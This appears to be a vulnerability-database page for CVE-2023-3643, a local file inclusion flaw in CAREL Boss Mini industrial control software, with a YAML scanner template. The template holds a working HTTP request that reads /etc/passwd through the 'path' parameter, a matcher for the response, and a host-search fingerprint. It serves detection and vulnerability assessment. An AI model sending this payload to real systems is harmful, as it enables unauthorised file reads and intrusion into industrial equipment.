CAREL Boss Mini <= 1.4.0 - Local File Inclusion
CVE-2023-3643
Verified
Description
Boss Mini 1.4.0 Build 6221 contains a file inclusion caused by manipulation of the 'path' argument in boss/servlet/document, letting remote attackers include arbitrary files, exploit requires remote access.
Severity
Critical
CVSS Score
9.8
Exploit Probability
35%
Affected Product
boss-mini
Published Date
March 5, 2026
Template Author
kazgangap
CVE-2023-3643.yaml
id: CVE-2023-3643
info:
name: CAREL Boss Mini <= 1.4.0 - Local File Inclusion
author: Kazgangap
severity: critical
description: |
Boss Mini 1.4.0 Build 6221 contains a file inclusion caused by manipulation of the 'path' argument in boss/servlet/document, letting remote attackers include arbitrary files, exploit requires remote access.
impact: |
Remote attackers can include arbitrary files, potentially leading to remote code execution or full system compromise.
remediation: |
Update to the latest version of Boss Mini or apply security patches provided by the vendor.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-3643
- https://www.cisa.gov/news-events/ics-advisories/icsa-24-172-02
- https://vuldb.com/?id.233889
- https://www.exploit-db.com/exploits/52482
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-3643
epss-score: 0.35215
epss-percentile: 0.97106
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: carel
product: boss-mini
fofa-query: icon_hash=="1092427843"
tags: cve,cve2023,lfi,carel,boss-mini,ics,path-traversal,file-inclusion
http:
- raw:
- |
POST /boss/servlet/document HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: https://{{RootURL}}/boss/app/report/popup.html?/etc/passwd
path=/etc/passwd
matchers:
- type: dsl
dsl:
- "regex('root:.*:0:0:', body)"
- "status_code == 200"
condition: and
# digest: 4a0a00473045022100d880bf596310ef03a65c47cab9c48f7046e499b900b273623727f4411ab56f9002201551c70ec986f6b59aa87525de4ddc2fde39564f0a82dc9e53ac980276d96ead:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2023-3643
CWE ID:
cwe-22
Remediation Steps
Update to the latest version of Boss Mini or apply security patches provided by the vendor.